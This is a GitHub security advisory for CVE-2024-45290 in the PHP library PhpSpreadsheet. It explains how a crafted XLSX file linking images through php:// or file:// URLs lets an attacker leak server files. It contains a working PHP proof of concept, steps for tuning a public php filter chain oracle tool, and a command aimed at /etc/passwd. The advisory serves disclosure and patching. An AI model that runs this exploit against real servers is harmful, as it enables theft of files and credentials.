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PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file

High severity GitHub Reviewed Published Oct 7, 2024 in PHPOffice/PhpSpreadsheet • Updated Oct 7, 2024

Package

composer phpoffice/phpspreadsheet (Composer)

Affected versions

>= 2.2.0, < 2.3.0
< 1.29.2
>= 2.0.0, < 2.1.1

Patched versions

2.3.0
1.29.2
2.1.1

Description

Summary

It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL.

Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component.

Details

When an XLSX file is opened, the XLSX reader calls setPath() with the path provided in the xl/drawings/_rels/drawing1.xml.rels file in the XLSX archive:

if (isset($images[$embedImageKey])) {
    // ...omit irrelevant code...
} else {
    $linkImageKey = (string) self::getArrayItem(
        $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'),
        'link'
    );
    if (isset($images[$linkImageKey])) {
        $url = str_replace('xl/drawings/', '', $images[$linkImageKey]);
        $objDrawing->setPath($url);
    }
}

setPath() then reads the file in order to determine the file type and dimensions, if the path is a URL:

public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static
{
    if ($verifyFile && preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) {
        // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979
        if (filter_var($path, FILTER_VALIDATE_URL)) {
            $this->path = $path;
            // Implicit that it is a URL, rather store info than running check above on value in other places.
            $this->isUrl = true;
            $imageContents = file_get_contents($path);
            // ... check dimensions etc. ...

It's important to note here, that filter_var considers also file:// and php:// URLs valid.

The attacker can set the path to anything:

<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="this can be whatever" />

The contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an error oracle which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit

PoC

Target file:

<?php

require 'vendor/autoload.php';

// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to
// keep the PoC simple, I've combined this into the same file.

$file = "book_tampered.xlsx";
$payload = $_POST["payload"]; // the payload comes from the Python script

copy("book.xlsx",$file);
$zip = new ZipArchive;
$zip->open($file);

$path = "xl/drawings/_rels/drawing1.xml.rels";
$content = $zip->getFromName($path);
$content = str_replace("../media/image1.gif", $payload, $content);
$zip->addFromString($path, $content);

$path = "xl/drawings/drawing1.xml";
$content = $zip->getFromName($path);
$content = str_replace('r:embed="rId1"', 'r:link="rId1"', $content);
$zip->addFromString($path, $content);

$zip->close();

// The actual target - note that simply opening the file is sufficient for the attack

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/' . $file);

Add this file in the same directory:
book.xlsx

Serve the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.

Download the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you'll need to edit the Python script's bruteforcer.py file to change self.blow_up_inf = self.join(*[self.blow_up_utf32]*15) to self.blow_up_inf = self.join(*[self.blow_up_utf32]*20). This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with pip.

Then run the Python script with:

python3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd

Note that the attack relies on certain character encodings being supported by the system's iconv library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.

Here's the results I got after about a minute of bruteforcing:

image

Impact

An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.

References

@oleibman oleibman published to PHPOffice/PhpSpreadsheet Oct 7, 2024
Published to the GitHub Advisory Database Oct 7, 2024
Reviewed Oct 7, 2024
Published by the National Vulnerability Database Oct 7, 2024
Last updated Oct 7, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

EPSS score

0.084%
(37th percentile)

CVE ID

CVE-2024-45290

GHSA ID

GHSA-5gpr-w2p5-6m37

Credits

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